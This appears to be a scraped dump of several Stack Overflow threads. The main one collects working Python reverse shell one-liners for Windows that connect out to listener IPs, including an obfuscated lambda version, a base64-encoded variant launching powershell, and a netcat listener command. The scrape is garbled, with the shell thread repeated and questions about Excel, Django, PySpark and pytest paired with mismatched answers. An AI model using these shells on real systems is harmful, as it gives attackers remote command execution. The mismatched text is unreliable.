subprocess call but still the same result. The connection dies immediately. ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);" ```
2016/06/23
[ "https://Stackoverflow.com/questions/37991717", "https://Stackoverflow.com", "https://Stackoverflow.com/users/803649/" ]
(@rockstar: I think you and I are studying the same thing!) Not a one liner, but learning from David Cullen's answer, I put together this reverse shell for Windows. ``` import os,socket,subprocess,threading; def s2p(s, p): while True: data = s.recv(1024) if len(data) > 0: p.stdin.write(data) p.stdin.flush() def p2s(s, p): while True: s.send(p.stdout.read(1)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.11.0.37",4444)) p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) s2p_thread = threading.Thread(target=s2p, args=[s, p]) s2p_thread.daemon = True s2p_thread.start() p2s_thread = threading.Thread(target=p2s, args=[s, p]) p2s_thread.daemon = True p2s_thread.start() try: p.wait() except KeyboardInterrupt: s.close() ``` If anybody can condense this down to a single line, please feel free to edit my post or adapt this into your own answer...
Depending on how you deploy the one liner, you may need to specify the path to python.exe as illustrated in the following code. I hope this help. ```html C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ```
37,991,717
Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner). I am trying to modify the one for Linux which I have used many times but this is my first time for Windows. Linux one liner : ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` Taken from [Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). So here is what I have been able to do so far: ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);" ``` Well, the thing is I do get a connection back just that the shell dies. Anyone knows how to fix this or offer some suggestions? ``` nc -lvnp 443 listening on [any] 443 ... connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036 ``` So the parameter to `subprocess call` must be wrong. I can't seem to get it right. The path to `cmd.exe` is correct. I can't see any corresponding parameter like `-i` in the [cmd man page](http://ss64.com/nt/cmd.html). Can anyone point me in the correct direction, please? **EDIT:** Tried without arguments to subprocess call but still the same result. The connection dies immediately. ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);" ```
2016/06/23
[ "https://Stackoverflow.com/questions/37991717", "https://Stackoverflow.com", "https://Stackoverflow.com/users/803649/" ]
(@rockstar: I think you and I are studying the same thing!) Not a one liner, but learning from David Cullen's answer, I put together this reverse shell for Windows. ``` import os,socket,subprocess,threading; def s2p(s, p): while True: data = s.recv(1024) if len(data) > 0: p.stdin.write(data) p.stdin.flush() def p2s(s, p): while True: s.send(p.stdout.read(1)) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.11.0.37",4444)) p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) s2p_thread = threading.Thread(target=s2p, args=[s, p]) s2p_thread.daemon = True s2p_thread.start() p2s_thread = threading.Thread(target=p2s, args=[s, p]) p2s_thread.daemon = True p2s_thread.start() try: p.wait() except KeyboardInterrupt: s.close() ``` If anybody can condense this down to a single line, please feel free to edit my post or adapt this into your own answer...
Based on Mark E. Haase's answer, here is my improved version [645 Chars] which: * is smaller (threads are now one-liners and as many statements as possible on one line) * does not open a new command window (`shell=True`) * supports universal newlines (`text=True`) * waits for the remote host to come online if it's not online yet (`while True: try/except`) * is more reliable (`p.stdin.flush()` which means the stdin buffer does not need to be filled for the command to be executed) ```py import os, socket, subprocess, threading, sys def s2p(s, p): while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush() def p2s(s, p): while True: s.send(p.stdout.read(1).encode()) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: s.connect((<IP ADDR>, <PORT NUMBER>)); break except: pass p=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True) threading.Thread(target=s2p, args=[s,p], daemon=True).start() threading.Thread(target=p2s, args=[s,p], daemon=True).start() try: p.wait() except: s.close(); sys.exit(0) ``` Or as a (very ugly) one-liner [663 Chars]: ```py exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""") ``` Or as an obfuscated one-liner (though this can't be used directly as the IP address has to be changed) [892 Chars]: ```py import base64;exec(base64.b64decode("aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MsIHRocmVhZGluZywgc3lzCmRlZiBzMnAocywgcCk6CiAgICB3aGlsZSBUcnVlOnAuc3RkaW4ud3JpdGUocy5yZWN2KDEwMjQpLmRlY29kZSgpKTsgcC5zdGRpbi5mbHVzaCgpCmRlZiBwMnMocywgcCk6CiAgICB3aGlsZSBUcnVlOiBzLnNlbmQocC5zdGRvdXQucmVhZCgxKS5lbmNvZGUoKSkKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCndoaWxlIFRydWU6CiAgICB0cnk6IHMuY29ubmVjdCgoc3lzLmFyZ3ZbMV0sIGludChzeXMuYXJndlsyXSkpKTsgYnJlYWsKICAgIGV4Y2VwdDogcGFzcwpwPXN1YnByb2Nlc3MuUG9wZW4oWyJwb3dlcnNoZWxsLmV4ZSJdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5TVERPVVQsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSwgc2hlbGw9VHJ1ZSwgdGV4dD1UcnVlKQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1zMnAsIGFyZ3M9W3MscF0sIGRhZW1vbj1UcnVlKS5zdGFydCgpCnRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXAycywgYXJncz1bcyxwXSwgZGFlbW9uPVRydWUpLnN0YXJ0KCkKdHJ5OiBwLndhaXQoKQpleGNlcHQ6IHMuY2xvc2UoKTsgc3lzLmV4aXQoMCk=")) ``` It can be used in the command line directly like this: ```py python -c 'exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")' ```
37,991,717
Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner). I am trying to modify the one for Linux which I have used many times but this is my first time for Windows. Linux one liner : ``` python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` Taken from [Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). So here is what I have been able to do so far: ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);" ``` Well, the thing is I do get a connection back just that the shell dies. Anyone knows how to fix this or offer some suggestions? ``` nc -lvnp 443 listening on [any] 443 ... connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036 ``` So the parameter to `subprocess call` must be wrong. I can't seem to get it right. The path to `cmd.exe` is correct. I can't see any corresponding parameter like `-i` in the [cmd man page](http://ss64.com/nt/cmd.html). Can anyone point me in the correct direction, please? **EDIT:** Tried without arguments to subprocess call but still the same result. The connection dies immediately. ``` C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);" ```
2016/06/23
[ "https://Stackoverflow.com/questions/37991717", "https://Stackoverflow.com", "https://Stackoverflow.com/users/803649/" ]
Depending on how you deploy the one liner, you may need to specify the path to python.exe as illustrated in the following code. I hope this help. ```html C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ```
Based on Mark E. Haase's answer, here is my improved version [645 Chars] which: * is smaller (threads are now one-liners and as many statements as possible on one line) * does not open a new command window (`shell=True`) * supports universal newlines (`text=True`) * waits for the remote host to come online if it's not online yet (`while True: try/except`) * is more reliable (`p.stdin.flush()` which means the stdin buffer does not need to be filled for the command to be executed) ```py import os, socket, subprocess, threading, sys def s2p(s, p): while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush() def p2s(s, p): while True: s.send(p.stdout.read(1).encode()) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: s.connect((<IP ADDR>, <PORT NUMBER>)); break except: pass p=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True) threading.Thread(target=s2p, args=[s,p], daemon=True).start() threading.Thread(target=p2s, args=[s,p], daemon=True).start() try: p.wait() except: s.close(); sys.exit(0) ``` Or as a (very ugly) one-liner [663 Chars]: ```py exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""") ``` Or as an obfuscated one-liner (though this can't be used directly as the IP address has to be changed) [892 Chars]: ```py import base64;exec(base64.b64decode("aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MsIHRocmVhZGluZywgc3lzCmRlZiBzMnAocywgcCk6CiAgICB3aGlsZSBUcnVlOnAuc3RkaW4ud3JpdGUocy5yZWN2KDEwMjQpLmRlY29kZSgpKTsgcC5zdGRpbi5mbHVzaCgpCmRlZiBwMnMocywgcCk6CiAgICB3aGlsZSBUcnVlOiBzLnNlbmQocC5zdGRvdXQucmVhZCgxKS5lbmNvZGUoKSkKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCndoaWxlIFRydWU6CiAgICB0cnk6IHMuY29ubmVjdCgoc3lzLmFyZ3ZbMV0sIGludChzeXMuYXJndlsyXSkpKTsgYnJlYWsKICAgIGV4Y2VwdDogcGFzcwpwPXN1YnByb2Nlc3MuUG9wZW4oWyJwb3dlcnNoZWxsLmV4ZSJdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5TVERPVVQsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSwgc2hlbGw9VHJ1ZSwgdGV4dD1UcnVlKQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1zMnAsIGFyZ3M9W3MscF0sIGRhZW1vbj1UcnVlKS5zdGFydCgpCnRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXAycywgYXJncz1bcyxwXSwgZGFlbW9uPVRydWUpLnN0YXJ0KCkKdHJ5OiBwLndhaXQoKQpleGNlcHQ6IHMuY2xvc2UoKTsgc3lzLmV4aXQoMCk=")) ``` It can be used in the command line directly like this: ```py python -c 'exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n try: s.connect((<IP ADDR>, <PORT NUMBER>)); break\n except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")' ```
50,100,629
When I try to run buildout for a existing project, which used to work perfectly fine, it now installs the incorrect version of Django, even though the version is pinned. For some reason, it's installing Django 1.10 even though I've got 1.6 pinned. (I know that's an old version, but client doesn't want me to upgrade just yet.) Here is a very trucated version of the the buildout config file. ``` [buildout] index = https://pypi.python.org/simple versions = versions include-site-packages = false extensions = mr.developer unzip = true newest = false parts = ... auto-checkout = * eggs = <... Many eggs here ...> Django <... Many more eggs ...> [base-versions] ... Django = 1.6.1 ... [versions] <= base-versions ``` The only other thing that I can think of that could possibly make an impact is that I recently reinstalled my system to Kubuntu 18.04 (Was previously Ubuntu 17.10)
2018/04/30
[ "https://Stackoverflow.com/questions/50100629", "https://Stackoverflow.com", "https://Stackoverflow.com/users/433267/" ]
The reason it wasn't working is because the `[versions]` part cannot be extended
Pip can install a specific version of library using pip, you can try: pip install django==1.6.1
15,114,329
How do I save an open excel file using python= I currently read the excel workbook using XLRD but I need to save the excel file so any changes the user inputs are read. I have done this using a VBA script from within excel which saves the workbook every x seconds, but this is not ideal.
2013/02/27
[ "https://Stackoverflow.com/questions/15114329", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2040544/" ]
This works on API level 10 for expanding ActionView e.g. SearchView ``` MenuItemCompat.expandActionView(mSearchMenuItem); ```
You always have the option of differentiating your solution depending on the current running version: ``` int sdk = android.os.Build.VERSION.SDK_INT; if(sdk < android.os.Build.VERSION_CODES.HONEYCOMB) { // pre honeycomb } else { // honeycomb and post } ``` I know this might not be exactly what you are looking for but it might get you some of the way .
15,114,329
How do I save an open excel file using python= I currently read the excel workbook using XLRD but I need to save the excel file so any changes the user inputs are read. I have done this using a VBA script from within excel which saves the workbook every x seconds, but this is not ideal.
2013/02/27
[ "https://Stackoverflow.com/questions/15114329", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2040544/" ]
This works on API level 10 for expanding ActionView e.g. SearchView ``` MenuItemCompat.expandActionView(mSearchMenuItem); ```
You can use MenuItemCompat static methods. Example: ``` @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.menu_search, menu); MenuItem menuItem = menu.findItem(R.id.action_search); MenuItemCompat.expandActionView(menuItem); SearchView searchView = (SearchView) MenuItemCompat.getActionView(menuItem); ... } ``` More info: <http://developer.android.com/reference/android/support/v4/view/MenuItemCompat.html>
29,418,572
I am learning python and am stuck on a tutorial which as far as the guide goes should be working but isn't, i have seen similar questions asked but cant understand how they apply to the code i am following, the code fails at the end of the last line. ``` import os import time source = ["'C:\Users\Administrator\myfile\myfile 1'"] target_dir = ['C:\Users\Administrator\myfile'] target = target_dir + os.sep + \ time.strftime('%Y%m%d%H%M%S') + '.zip' can only concatenate list (not "str") to list ``` i have tried some methods using .append and also changing the code by adding [] and () to the + '.zip' but all to no avail, so i was hoping someone could explain why its failing and how i correct it. i am using python 2.7.9 on windows thanks
2015/04/02
[ "https://Stackoverflow.com/questions/29418572", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4707947/" ]
`target_dir` should not be created with brackets. ``` target_dir = 'C:\Users\Administrator\myfile' target = target_dir + os.sep + \ time.strftime('%Y%m%d%H%M%S') + '.zip' ``` --- Incidentally, take care with your backslashes, because they are also used to signify special characters in a string. For example, `"c:\new_directory"` would be interpreted as "C colon newline W..." rather than "C colon backslash N W...". In which case you would need to escape the slash yourself with `"c:\\new_directory"`, or use raw strings like `r"c:\new_directory"`, or regular slashes (if your OS allows that as a path separator) like `"c:/new_directory"`
target\_dir is a list, so in your example you need to do: ``` target = target_dir[0] + os.sep + \ time.strftime('%Y%m%dT%H%M%S') + '.zip' ``` You see that error because you are trying to add a list (target\_list) and strings together, apples and oranges.
29,418,572
I am learning python and am stuck on a tutorial which as far as the guide goes should be working but isn't, i have seen similar questions asked but cant understand how they apply to the code i am following, the code fails at the end of the last line. ``` import os import time source = ["'C:\Users\Administrator\myfile\myfile 1'"] target_dir = ['C:\Users\Administrator\myfile'] target = target_dir + os.sep + \ time.strftime('%Y%m%d%H%M%S') + '.zip' can only concatenate list (not "str") to list ``` i have tried some methods using .append and also changing the code by adding [] and () to the + '.zip' but all to no avail, so i was hoping someone could explain why its failing and how i correct it. i am using python 2.7.9 on windows thanks
2015/04/02
[ "https://Stackoverflow.com/questions/29418572", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4707947/" ]
`target_dir` should not be created with brackets. ``` target_dir = 'C:\Users\Administrator\myfile' target = target_dir + os.sep + \ time.strftime('%Y%m%d%H%M%S') + '.zip' ``` --- Incidentally, take care with your backslashes, because they are also used to signify special characters in a string. For example, `"c:\new_directory"` would be interpreted as "C colon newline W..." rather than "C colon backslash N W...". In which case you would need to escape the slash yourself with `"c:\\new_directory"`, or use raw strings like `r"c:\new_directory"`, or regular slashes (if your OS allows that as a path separator) like `"c:/new_directory"`
You should use `os.path.join()` so that the correct platform-specific directory separator will always be used ``` import os import time source = "C:\Users\Administrator\myfile\myfile 1" target_dir = "C:\Users\Administrator\myfile" target = os.path.join(target_dir, time.strftime('%Y%m%d%H%M%S') + '.zip') ```
56,251,211
I have a spark DataFrame consisting of 3 columns: `text1`, `text2` and `number`. I want to filter this DataFrame based on the following constraint: ```python (len(text1)+len(text2))>number ``` where `len` returns the number of words in `text1` or in `text2`. I tried the following: ```python common_df = common_df.filter((len(common_df["text1"].str.split(" ")) + len(common_df["text2"].str.split(" "))) > common_df["number"]) ``` but it is not working. I get the following exception: > > > ```python > TypeError: 'Column' object is not callable > > ``` > > Here is a sample of my input: ```python text1 text2 number bla bla bla no 2 ```
2019/05/22
[ "https://Stackoverflow.com/questions/56251211", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11205562/" ]
[`pyspark.sql.functions.length()`](http://spark.apache.org/docs/latest/api/python/pyspark.sql.html#pyspark.sql.functions.length) returns the character length of a string. If you want to count the words, you can use [`split()`](http://spark.apache.org/docs/latest/api/python/pyspark.sql.html#pyspark.sql.functions.split) and [`size()`](http://spark.apache.org/docs/latest/api/python/pyspark.sql.html#pyspark.sql.functions.size): It looks like you're looking for: ```python from pyspark.sql.functions import col, size, split common_df.where( (size(split(col("text1"), "\s+")) + size(split(col("text2"), "\s+"))) > col("number") ).show() ``` First you split the strings on the pattern `\s+` which is any number of whitespace characters. Then you take the size of the resulting array. You can also define a function if you're planning on calling this repeatedly: ```python def numWords(column): return size(split(column, "\s+")) common_df.where((numWords(col("text1")) + numWords(col("text2"))) > col("number")).show() ```
You can use `length` from `pyspark.sql.functions`: ``` common_df[(F.length('text1') + F.length('text2')) > common_df['number']] ``` Note that `[]` is a substitute for `filter()`.
56,251,211
I have a spark DataFrame consisting of 3 columns: `text1`, `text2` and `number`. I want to filter this DataFrame based on the following constraint: ```python (len(text1)+len(text2))>number ``` where `len` returns the number of words in `text1` or in `text2`. I tried the following: ```python common_df = common_df.filter((len(common_df["text1"].str.split(" ")) + len(common_df["text2"].str.split(" "))) > common_df["number"]) ``` but it is not working. I get the following exception: > > > ```python > TypeError: 'Column' object is not callable > > ``` > > Here is a sample of my input: ```python text1 text2 number bla bla bla no 2 ```
2019/05/22
[ "https://Stackoverflow.com/questions/56251211", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11205562/" ]
[`pyspark.sql.functions.length()`](http://spark.apache.org/docs/latest/api/python/pyspark.sql.html#pyspark.sql.functions.length) returns the character length of a string. If you want to count the words, you can use [`split()`](http://spark.apache.org/docs/latest/api/python/pyspark.sql.html#pyspark.sql.functions.split) and [`size()`](http://spark.apache.org/docs/latest/api/python/pyspark.sql.html#pyspark.sql.functions.size): It looks like you're looking for: ```python from pyspark.sql.functions import col, size, split common_df.where( (size(split(col("text1"), "\s+")) + size(split(col("text2"), "\s+"))) > col("number") ).show() ``` First you split the strings on the pattern `\s+` which is any number of whitespace characters. Then you take the size of the resulting array. You can also define a function if you're planning on calling this repeatedly: ```python def numWords(column): return size(split(column, "\s+")) common_df.where((numWords(col("text1")) + numWords(col("text2"))) > col("number")).show() ```
You are almost close, try this - ``` from pyspark.sql.functions import length common_df.filter("(length(text1) + length(text2)) > number").show() ```
35,045,038
I installed `pytest` into a virtual environment (using `virtualenv`) and am running it from that virtual environment, but it is not using the packages that I installed in that virtual environment. Instead, it is using the main system packages. (Using `python -m unittest discover`, I can actually run my tests with the right python and packages, but I want to use the py.test framework.) Is it possible that py.test is actually not running the pytest inside the virtual environment and I have to specify which pytest to run? How to I get py.test to use only the python and packages that are in my virtualenv? Also, since I have several version of Python on my system, how do I tell which Python that Pytest is using? Will it automatically use the Python within my virtual environment, or do I have to specify somehow?
2016/01/27
[ "https://Stackoverflow.com/questions/35045038", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4770429/" ]
In my case I was obliged to leave the venv (deactivate), remove pytest (pip uninstall pytest), enter the venv (source /my/path/to/venv), and then reinstall pytest (pip install pytest). I don't known exacttly why pip refuse to install pytest in venv (it says it already present). I hope this helps
you have to activate your python env every time you want to run your python script, you have several ways to activate it, we assume that your virtualenv is installed under /home/venv : 1- the based one is to run the python with one command line `>>> /home/venv/bin/python <your python file.py>` 2- add this line on the top of python script file `#! /home/venv/bin/python` and then run `python <you python file.py>` 3- activate your python env `source /home/venv/bin/activate` and then run you script like `python <you python file.py>` 4- use [virtualenvwrapper](https://virtualenvwrapper.readthedocs.org/en/latest/) to manager and activate your python environments
35,045,038
I installed `pytest` into a virtual environment (using `virtualenv`) and am running it from that virtual environment, but it is not using the packages that I installed in that virtual environment. Instead, it is using the main system packages. (Using `python -m unittest discover`, I can actually run my tests with the right python and packages, but I want to use the py.test framework.) Is it possible that py.test is actually not running the pytest inside the virtual environment and I have to specify which pytest to run? How to I get py.test to use only the python and packages that are in my virtualenv? Also, since I have several version of Python on my system, how do I tell which Python that Pytest is using? Will it automatically use the Python within my virtual environment, or do I have to specify somehow?
2016/01/27
[ "https://Stackoverflow.com/questions/35045038", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4770429/" ]
Inside your environment, you may try ``` python -m pytest ```
you have to activate your python env every time you want to run your python script, you have several ways to activate it, we assume that your virtualenv is installed under /home/venv : 1- the based one is to run the python with one command line `>>> /home/venv/bin/python <your python file.py>` 2- add this line on the top of python script file `#! /home/venv/bin/python` and then run `python <you python file.py>` 3- activate your python env `source /home/venv/bin/activate` and then run you script like `python <you python file.py>` 4- use [virtualenvwrapper](https://virtualenvwrapper.readthedocs.org/en/latest/) to manager and activate your python environments
35,045,038
I installed `pytest` into a virtual environment (using `virtualenv`) and am running it from that virtual environment, but it is not using the packages that I installed in that virtual environment. Instead, it is using the main system packages. (Using `python -m unittest discover`, I can actually run my tests with the right python and packages, but I want to use the py.test framework.) Is it possible that py.test is actually not running the pytest inside the virtual environment and I have to specify which pytest to run? How to I get py.test to use only the python and packages that are in my virtualenv? Also, since I have several version of Python on my system, how do I tell which Python that Pytest is using? Will it automatically use the Python within my virtual environment, or do I have to specify somehow?
2016/01/27
[ "https://Stackoverflow.com/questions/35045038", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4770429/" ]
